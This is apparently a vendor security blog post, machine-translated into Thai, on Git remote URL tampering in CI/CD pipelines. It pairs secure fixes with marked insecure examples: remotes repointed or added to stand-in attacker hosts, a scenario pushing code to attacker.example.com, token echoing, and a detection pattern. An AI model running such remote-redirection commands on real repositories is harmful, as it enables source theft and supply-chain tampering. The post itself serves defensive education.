ความเสี่ยงที่ซ่อนอยู่เบื้องหลังคำสั่ง Git ง่ายๆ
สำหรับนักพัฒนาส่วนใหญ่ การรันคำสั่งอย่างเช่น git remote set-url origin นั้นง่ายมาก รู้สึกเหมือนเป็นกิจวัตรประจำวัน เป็นเพียงอีกขั้นตอนหนึ่งในการบำรุงรักษาการตั้งค่า Git สคริปต์ CI มักจะเรียกใช้คำสั่งต่างๆ เช่น git remote set-url, Git set url for remote หรือ Git remote add เพื่อดึงหรือผลักดันโค้ดระหว่างการสร้าง แต่ความเสี่ยงก็คือ หากผู้โจมตีเข้าไปแก้ไขการตั้งค่าดังกล่าว (ไม่ว่าจะในเครื่องหรือในระบบ CI) พวกเขาสามารถเปลี่ยนเส้นทางซอร์สโค้ดของคุณไปยังแหล่งเก็บข้อมูลที่เป็นอันตราย ดักจับข้อมูลประจำตัว หรือแทรกมัลแวร์ในห่วงโซ่อุปทานได้
ตัวอย่างการใช้งานโดยทั่วไป:
# การใช้งานที่ถูกต้อง
git remote set-url origin https://github.com/org/project.git
⚠️ ตัวอย่างที่ไม่ปลอดภัยนี้จัดทำขึ้นเพื่อการศึกษาเท่านั้น ห้ามนำไปใช้ในการผลิตจริง
# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git
รักษาความปลอดภัยเวอร์ชัน ใส่รหัส PIN และตรวจสอบแหล่งที่มาของที่เก็บข้อมูล
# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.
ทำไม? เพราะหากรีโมตถูกเปลี่ยนไปเป็นโฮสต์ที่ผู้โจมตีควบคุม การเรียกใช้คำสั่ง git fetch/git push ครั้งต่อๆ ไปจะชี้ไปยังโค้ดที่เป็นอันตราย ควรระบุแหล่งที่มาที่เชื่อถือได้แบบตายตัวเมื่อเป็นไปได้ และหลีกเลี่ยง URL แบบไดนามิกที่ไม่ได้รับการตรวจสอบความถูกต้อง
การควบคุมระยะไกลส่งผลเสียต่อการสร้างอย่างไร Pipeline
การแก้ไข URL ของ Git remote อาจส่งผลร้ายแรงต่อระบบอัตโนมัติ pipelineในกรณีที่สคริปต์ได้รับการไว้วางใจโดยปริยาย
ตัวอย่างสถานการณ์:
- สคริปต์ CI ใช้คำสั่ง git remote set-url เพื่อกำหนดค่า repository ใหม่แบบไดนามิก
- มีการแทรกตัวแปรสภาพแวดล้อมที่เสียหาย (เช่น โทเค็นหรือ URL ของที่เก็บข้อมูล) เข้าไปในสคริปต์
- กระบวนการสร้างนี้จะดึงหรือส่งโค้ดไปยังที่เก็บโค้ดที่เป็นอันตราย
- ผู้โจมตีแทรกช่องโหว่หรือแก้ไขส่วนประกอบต่างๆ ของระบบ
⚠️ ตัวอย่างที่ไม่ปลอดภัยนี้จัดทำขึ้นเพื่อการศึกษาเท่านั้น ห้ามนำไปใช้ในการผลิตจริง
# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
- name: Set remote
run: git remote set-url origin $REPO_URL
- name: Build and deploy
run: npm install && npm run build
เวอร์ชันที่ปลอดภัย โปรดตรวจสอบ $REPO_URL ก่อนใช้งาน (รายการที่อนุญาต / การตรวจสอบโดย xygeni)
# ✅ CI/CD pipeline with validation guardrail
steps:
- name: Validate REPO_URL
run: |
# Educational note: never accept raw URLs without validation.
if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
echo "Untrusted repo origin: $REPO_URL" && exit 1
fi
- name: Set remote (safe)
run: git remote set-url origin "$REPO_URL"
- name: Build and deploy
run: npm ci && npm run build
ทำไม: ตรวจสอบความถูกต้องของ URL ของ repository ที่เข้ามาโดยเทียบกับ whitelist ที่ได้รับการดูแลรักษา (หรือใช้ xygeni verify --git-origin) ก่อนที่จะดำเนินการใดๆ วิธีนี้จะป้องกันไม่ให้ผู้โจมตีแก้ไขตัวแปรสภาพแวดล้อมเพื่อเปลี่ยนเส้นทาง pipelines.
การตรวจจับการเปลี่ยนแปลงที่ไม่ได้รับอนุญาตในการกำหนดค่าระยะไกล
Git ไม่แจ้งเตือนคุณเมื่อมีการแก้ไขไฟล์รีโมต การตรวจสอบเชิงรุกของ... .git/config และจำเป็นต้องมีการตรวจสอบความสมบูรณ์ก่อนการสร้าง
เทคนิคการตรวจจับเชิงปฏิบัติ
ตรวจสอบการตั้งค่า Git:
git remote -vเปรียบเทียบผลลัพธ์กับ URL ที่คาดหวังซึ่งจัดเก็บไว้ในฐานข้อมูลที่ปลอดภัย
ตรวจสอบ
.git/configความซื่อสัตย์:sha256sum .git/configเปรียบเทียบค่าตรวจสอบความถูกต้องกับค่ามาตรฐานที่เชื่อถือได้
การตรวจสอบความถูกต้องโดยใช้ CI:
validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git
หมายเหตุให้ความรู้: อย่าทำการตรวจสอบความถูกต้องหรือคำสั่งยืนยันโดยใช้ข้อมูลประจำตัวที่มีอายุการใช้งานยาวนานซึ่งเปิดเผยอยู่ในบันทึกหรือสภาพแวดล้อมที่ไม่ได้รับการป้องกัน ให้ใช้ข้อมูลประจำตัวชั่วคราว ข้อมูลลับที่จัดเก็บไว้อย่างปลอดภัย และหลีกเลี่ยงการเรียกใช้คำสั่งตรวจสอบความถูกต้องในฐานะผู้ใช้ที่มีสิทธิ์พิเศษหากเป็นไปได้
เคล็ดลับการตรวจจับ: มองหารีโมตที่ชี้ไปยังโดเมนที่ไม่เป็นไปตามมาตรฐาน (ไม่คาดคิด) .net, .ioเช่น ที่อยู่ IP ที่ซ้ำกัน ชื่อรีโมตที่ซ้ำกัน หรือตัวแปรสภาพแวดล้อมที่ควบคุม URL ของที่เก็บข้อมูลโดยไม่มีการตรวจสอบ การตรวจพบตั้งแต่เนิ่นๆ จะช่วยป้องกันปัญหาเหล่านี้ได้ git set-url การดัดแปลงจากการสร้างที่ปนเปื้อน
การรักษาความปลอดภัยแหล่งที่มาของที่เก็บข้อมูลด้วย Guardrails และการตรวจสอบแฮช
การป้องกันหมายถึงการบังคับใช้มาตรการควบคุมที่เข้มงวดเกี่ยวกับแหล่งเก็บข้อมูลที่คุณใช้ในการสร้างโปรแกรม Guardrails รวมถึงการลงนาม การตรวจสอบความถูกต้องของแฮช และการจำกัดผู้ที่สามารถแก้ไขตัวแปร CI ได้
แนวปฏิบัติที่ปลอดภัยสำหรับความสมบูรณ์ของที่เก็บข้อมูล
ตรึง URL ของแหล่งเก็บข้อมูล และกำหนดแหล่งที่มาที่เชื่อถือได้แบบตายตัวในกรณีที่ทำได้:
# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD
ตรวจสอบความถูกต้องของแฮชของที่เก็บข้อมูล:
ตรวจสอบให้แน่ใจว่า HEAD ตรงกับค่าแฮชที่คาดไว้ก่อนทำการสร้าง
⚠️ ตัวอย่างที่ไม่ปลอดภัย การพิมพ์โทเค็นลงในบันทึก (ห้ามใช้ในสภาพแวดล้อมการใช้งานจริง)
# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"
เวอร์ชันที่ปลอดภัย อ่านข้อมูลลับจากคลัง และห้ามพิมพ์เด็ดขาด
# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.
รายการตรวจสอบฉบับย่อ: การจัดการ Git จากระยะไกลอย่างปลอดภัย
- บังคับใช้ การอนุญาตหรือการตรวจสอบ URL ระยะไกล.
- ตรวจสอบความถูกต้องของไฟล์ .git/config ก่อนทำการสร้างบิลด์
- ต้องมีลายเซ็น commits และแท็ก
- จำกัดผู้ที่สามารถแก้ไขตัวแปรสภาพแวดล้อม CI ได้
- บันทึกการทำงานของคำสั่ง git remote set-url และ git remote add เพื่อใช้ในการตรวจสอบ
การผสานรวมการตรวจสอบความถูกต้องของ URL ของ Git Remote Set เข้ากับ... CI/CD Pipelines
เพิ่ม guardrails และระบบตรวจสอบอัตโนมัติเพื่อหยุดการแทรกแซงจากระยะไกลตั้งแต่เนิ่นๆ pipeline.
ตัวอย่างระบบป้องกัน: ตรวจสอบรีโมทที่ซ้ำกันหรือรีโมทที่ไม่ได้รับอนุญาต
# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
- name: Check remotes
run: |
git remote -v > /tmp/remotes.txt
if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
echo "Unauthorized remote detected" && exit 1
fi
# Validate current origin matches expected
if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
echo "Origin verification failed" && exit 1
fi
การเสริมความแข็งแกร่งเพื่อป้องกันการปลอมแปลงในห่วงโซ่อุปทานในสภาพแวดล้อมที่ใช้ร่วมกัน
การใช้ Shared Runner และคำสั่ง Remote ที่อนุญาตอย่างเสรีนั้นมีความเสี่ยงสูง ควรหลีกเลี่ยงคำสั่งที่เพิ่ม Remote ที่ไม่ได้รับการตรวจสอบในระหว่างการทำงานของ Job
⚠️ ตัวอย่างที่ไม่ปลอดภัย คือ การเพิ่มการเข้าถึงระยะไกลของผู้โจมตี (ห้ามใช้)
# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git
เวอร์ชันที่ปลอดภัย จำกัดเฉพาะโดเมนที่ได้รับการตรวจสอบแล้ว และใช้ –set-url เฉพาะกับต้นทางที่ได้รับอนุมัติเท่านั้น
# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
git remote add backup "$REMOTE_URL"
else
echo "Refusing to add unapproved remote" && exit 1
fi
หมายเหตุ: ควรเลือกใช้ตัวเรียกใช้งานชั่วคราวและหลีกเลี่ยงการใช้แคชร่วมกันแบบถาวรระหว่างงานต่างๆ
หมายเหตุเกี่ยวกับรันเนอร์: ให้ใช้รันเนอร์ชั่วคราวที่แยกต่างหากและสร้างขึ้นใหม่สำหรับแต่ละงาน ดิสก์ที่ใช้ร่วมกันหรือแคชอาจทำให้ไฟล์ที่ถูกแก้ไขยังคงอยู่ข้ามการสร้างบิลด์ได้
การผสานรวม URL ของชุด Git สำหรับการตรวจสอบความถูกต้องระยะไกลเข้ากับ CI/CD Pipelines
การรักษาความปลอดภัยในการใช้งานคำสั่ง `git remote set-url` ไม่ได้ขึ้นอยู่กับการตรวจสอบด้วยตนเองเพียงอย่างเดียว แต่ยังขึ้นอยู่กับการใช้ระบบอัตโนมัติด้วย เวิร์กโฟลว์ DevSecOps สมัยใหม่สามารถผสานการตรวจสอบความถูกต้องเข้าไว้ด้วยกันได้โดยตรง CI/CD pipelines.
ตัวอย่าง: การตรวจสอบความถูกต้องของข้อมูลระยะไกลแบบอัตโนมัติ
stages:
- validate
- build
validate-repo:
script:
- echo "Validating repository origin..."
- xygeni enforce --policy git-origin.yaml
- xygeni scan --detect-remote-tampering
การกำหนดค่านี้ทำให้มั่นใจได้ว่าก่อนที่จะมีการสร้างหรือปรับใช้ใดๆ จะเกิดขึ้น pipeline ตรวจสอบความถูกต้อง:
- URL ของที่เก็บข้อมูลตรงกับค่าที่คาดไว้
- Commit ลายเซ็นนั้นถูกต้อง
- ไม่มีการเพิ่มรีโมตที่ไม่คาดคิดใดๆ โดยใช้คำสั่ง git add remote
การควบคุม CI เพิ่มเติม
- Pre-commit hooksตรวจสอบให้แน่ใจว่าไม่มีผู้ที่ไม่ได้รับอนุญาต git remote set-url คำสั่งต่างๆ มีอยู่ใน commits.
- การบังคับใช้นโยบายในรูปแบบโค้ด: กำหนดแหล่งที่มาที่อนุญาตเป็นส่วนหนึ่งของนโยบายที่ควบคุมเวอร์ชัน
- การทำสำเนาการพึ่งพา: ดึงโค้ดจากสำเนาภายในที่ได้รับการตรวจสอบแล้ว แทนที่จะดึงจากแหล่งข้อมูลทางอินเทอร์เน็ตโดยตรง
การทำให้การตรวจสอบเหล่านี้เป็นไปโดยอัตโนมัติ ไม่เพียงแต่ป้องกันการตั้งค่าที่ไม่ถูกต้องเท่านั้น แต่ยังตรวจจับความพยายามในการดัดแปลงแก้ไขในห่วงโซ่อุปทานก่อนที่โค้ดจะถูกส่งออกไปอีกด้วย
การเสริมความแข็งแกร่งเพื่อป้องกันการปลอมแปลงในห่วงโซ่อุปทานในสภาพแวดล้อมที่ใช้ร่วมกัน
การใช้รันเนอร์ร่วมกันหรือสภาพแวดล้อม CI ชั่วคราวทำให้เกิดความเสี่ยงเพิ่มเติม เมื่อบิลด์หลายรายการใช้ทรัพยากรร่วมกัน คำสั่ง git remote set-url หรือ git add remote สามารถถูกใช้เป็นอาวุธเพื่อคงรีโมทที่เป็นอันตรายไว้ได้ตลอดเซสชัน
สถานการณ์การโจมตีทั่วไป
สคริปต์การสร้างที่ถูกบุกรุกจะเพิ่มรีโมตใหม่เพื่อพุชโค้ดไปยังที่เก็บโค้ดของผู้โจมตี:
git add remote backup https://attacker.example.com/repo.git
git push backup main
- โปรเจกต์อื่นที่ทำงานบนเอเจนต์ CI เดียวกัน ดึงข้อมูลจากสถานะที่ปนเปื้อนนี้
- ข้อมูลสำคัญ เช่น โทเค็น หรือไฟล์ที่ได้จากการสร้างโปรแกรม อาจรั่วไหลผ่านการส่งข้อมูลโดยไม่ได้รับอนุญาต
มาตรการเสริมความแข็งแกร่ง
- นักวิ่งชั่วคราว: รีเซ็ตสภาพแวดล้อม CI หลังจากการสร้างแต่ละครั้ง
- การแยกเครือข่าย: จำกัดการส่งข้อมูลขาออกไปยังโดเมนที่ได้รับอนุญาตเท่านั้น
- สิทธิพิเศษน้อยที่สุด: จำกัดสิทธิ์การเข้าถึงสำหรับการดำเนินการ Git ใน pipelines.
- การลงนามในโบราณวัตถุ: ตรวจสอบให้แน่ใจว่าผลลัพธ์การสร้างทั้งหมดได้รับการลงนามและตรวจสอบด้วยวิธีการเข้ารหัสลับ
ด้วยการผสานรวมการแยกส่วน การตรวจสอบความถูกต้อง และการเฝ้าระวัง ทีมงานสามารถป้องกันการโจมตีที่ใช้ประโยชน์จากคำสั่ง git set url เพื่อควบคุมการทำงานจากระยะไกลได้
ตรวจสอบ ตรวจติดตาม และสร้างระบบอัตโนมัติเพื่อความน่าเชื่อถือของคลังข้อมูล
การใช้คำสั่ง `git remote set-url` ผิดวิธีเพียงครั้งเดียว หรือการเพิ่ม `git add remote` โดยไม่ตรวจสอบ อาจทำให้กระบวนการสร้างโปรแกรมทั้งหมดของคุณถูกเปลี่ยนเส้นทางไปยังที่เก็บข้อมูลที่ผู้โจมตีควบคุมได้โดยไม่รู้ตัว เส้นแบ่งระหว่างประสิทธิภาพการทำงานและการถูกโจมตีใน DevOps นั้นบางลงกว่าที่เคย และ การโจมตีห่วงโซ่อุปทานซอฟต์แวร์ ใช้ประโยชน์จากจุดนั้นโดยตรง
เพื่อรักษาความไว้วางใจในตัวคุณ pipelines:
- ตรวจสอบแหล่งที่มาของที่เก็บข้อมูลอย่างต่อเนื่อง
- บังคับใช้ commit และการลงนามในสิ่งประดิษฐ์
- โดยอัตโนมัติ การตรวจสอบความถูกต้องในทุกขั้นตอน CI/CD.
แพลตฟอร์มเช่น ไซเกนี ช่วยให้ทีม DevSecOps ตรวจจับการตั้งค่าระยะไกลที่ไม่ถูกต้อง ตรวจสอบขอบเขตความเชื่อถือของที่เก็บข้อมูล และบล็อกความเสี่ยงในห่วงโซ่อุปทานที่เกิดจากการใช้ Git ในทางที่ผิด ก่อนที่ผู้ไม่ประสงค์ดีจะมีโอกาสปรับใช้โค้ดได้
เชื่อมั่นในขั้นตอนการทำงานของคุณ แต่ตรวจสอบแหล่งที่มาให้แน่ใจ นั่นคือวิธีที่คุณจะป้องกันไม่ให้คำสั่ง `git remote set-url` กลายเป็นช่องโหว่ด้านความปลอดภัยครั้งต่อไปของคุณ







